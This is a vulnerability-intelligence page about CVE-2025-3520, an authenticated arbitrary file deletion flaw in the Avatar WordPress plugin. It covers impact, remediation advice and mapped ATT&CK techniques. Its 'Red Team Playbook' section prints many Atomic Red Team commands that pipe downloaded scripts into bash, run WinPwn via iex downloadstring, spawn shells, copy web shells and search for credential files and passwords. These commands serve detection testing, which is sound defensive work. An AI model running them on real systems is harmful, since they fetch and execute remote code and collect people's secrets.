CVE-2025-3520
Overview
This vulnerability is a directory traversal flaw (CWE-22) stemming from inadequate validation of file path inputs in the Avatar WordPress plugin. The affected component is a file deletion function which fails to properly sanitize user-supplied file paths, allowing manipulation beyond intended directories. This improper validation occurs in all versions of the plugin up to and including 0.1.4.
Vulnerability Description
The Avatar plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in a function in all versions up to, and including, 0.1.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
Impact
An attacker with at least Subscriber-level authentication can exploit this vulnerability to delete arbitrary files on the server, potentially removing critical configuration files and enabling remote code execution. This can result in full site compromise or denial of service. The attack requires network access to the WordPress instance and valid user credentials (CVSS vector PR:L). The exploit does not require user interaction or elevated privileges beyond Subscriber.
Solution
Users of the wonderboymusic Avatar plugin should upgrade to a version later than 0.1.4 where the file path validation issue has been addressed. Detailed patch information and version updates are available at the WordPress plugin repository and the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/01769760-5bfe-4352-bc5b-141f078c0b6d). No official advisory ID is published, but upgrading to the latest plugin release is strongly recommended to mitigate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Avatar plugin for WordPress stems from inadequate validation of file paths, allowing authenticated users with Subscriber-level access or higher to delete arbitrary files on the server. This flaw arises from a function within the plugin that fails to properly sanitize user input, leading to a scenario where an attacker can manipulate the file path to target sensitive files. Such a weakness is particularly concerning as it opens the door for malicious actors to remove critical files, including configuration files that contain database credentials and other sensitive information. The lack of stringent checks on the file paths means that even users with limited permissions can exploit this vulnerability, making it a significant security concern for WordPress installations using this plugin.
Exploitation of this vulnerability can occur through various attack vectors, primarily targeting authenticated users. An attacker could leverage social engineering techniques to gain access to an account with sufficient privileges or exploit weak password policies to compromise a legitimate user account. Once authenticated, the attacker can invoke the vulnerable function to delete files of interest. For instance, if an attacker manages to delete the wp-config.php file, it could lead to a complete compromise of the WordPress site, as this file contains critical configuration settings, including database connection details. Furthermore, the deletion of other essential files could disrupt the normal functioning of the website, leading to service outages and potential data loss.
The real-world impact of this vulnerability can be severe, especially for businesses that rely on their online presence for revenue generation and customer engagement. The ability to delete critical files can lead to unauthorized access, data breaches, and loss of sensitive information, which can have long-lasting repercussions on a company's reputation and financial stability. In addition to the immediate risks of data loss and service disruption, businesses may face regulatory penalties if they fail to protect customer data adequately. The potential for remote code execution following the deletion of key files further exacerbates the risk, as it could allow attackers to gain full control over the server, leading to further exploitation and damage.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the Avatar plugin to the latest version is crucial, as updates often contain patches for known vulnerabilities. Additionally, employing a web application firewall (WAF) can help monitor and filter out malicious requests that attempt to exploit this weakness. Organizations should also enforce strict access controls, ensuring that only trusted users have the ability to perform actions that could lead to file deletions. Implementing logging and monitoring solutions can aid in detecting suspicious activities, allowing for quick response to potential exploitation attempts. Regular security audits and vulnerability assessments should be conducted to identify and remediate any weaknesses in the system proactively.
In conclusion, the vulnerability in the Avatar plugin for WordPress represents a significant threat to the security of web applications using this software. The potential for arbitrary file deletion poses risks that can lead to severe consequences, including unauthorized access and data breaches. By understanding the technical details of the vulnerability, recognizing potential attack vectors, and implementing robust detection and mitigation strategies, organizations can better protect themselves against this and similar threats. Proactive security measures are essential in safeguarding sensitive information and maintaining the integrity of online services.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-3520 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/01769760-5bfe-4352-bc5b-141f078c0b6d?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/avatar/trunk/avatar.php#L417 |
| wordpress.org |
GitHub CVE
|
https://wordpress.org/plugins/avatar/ |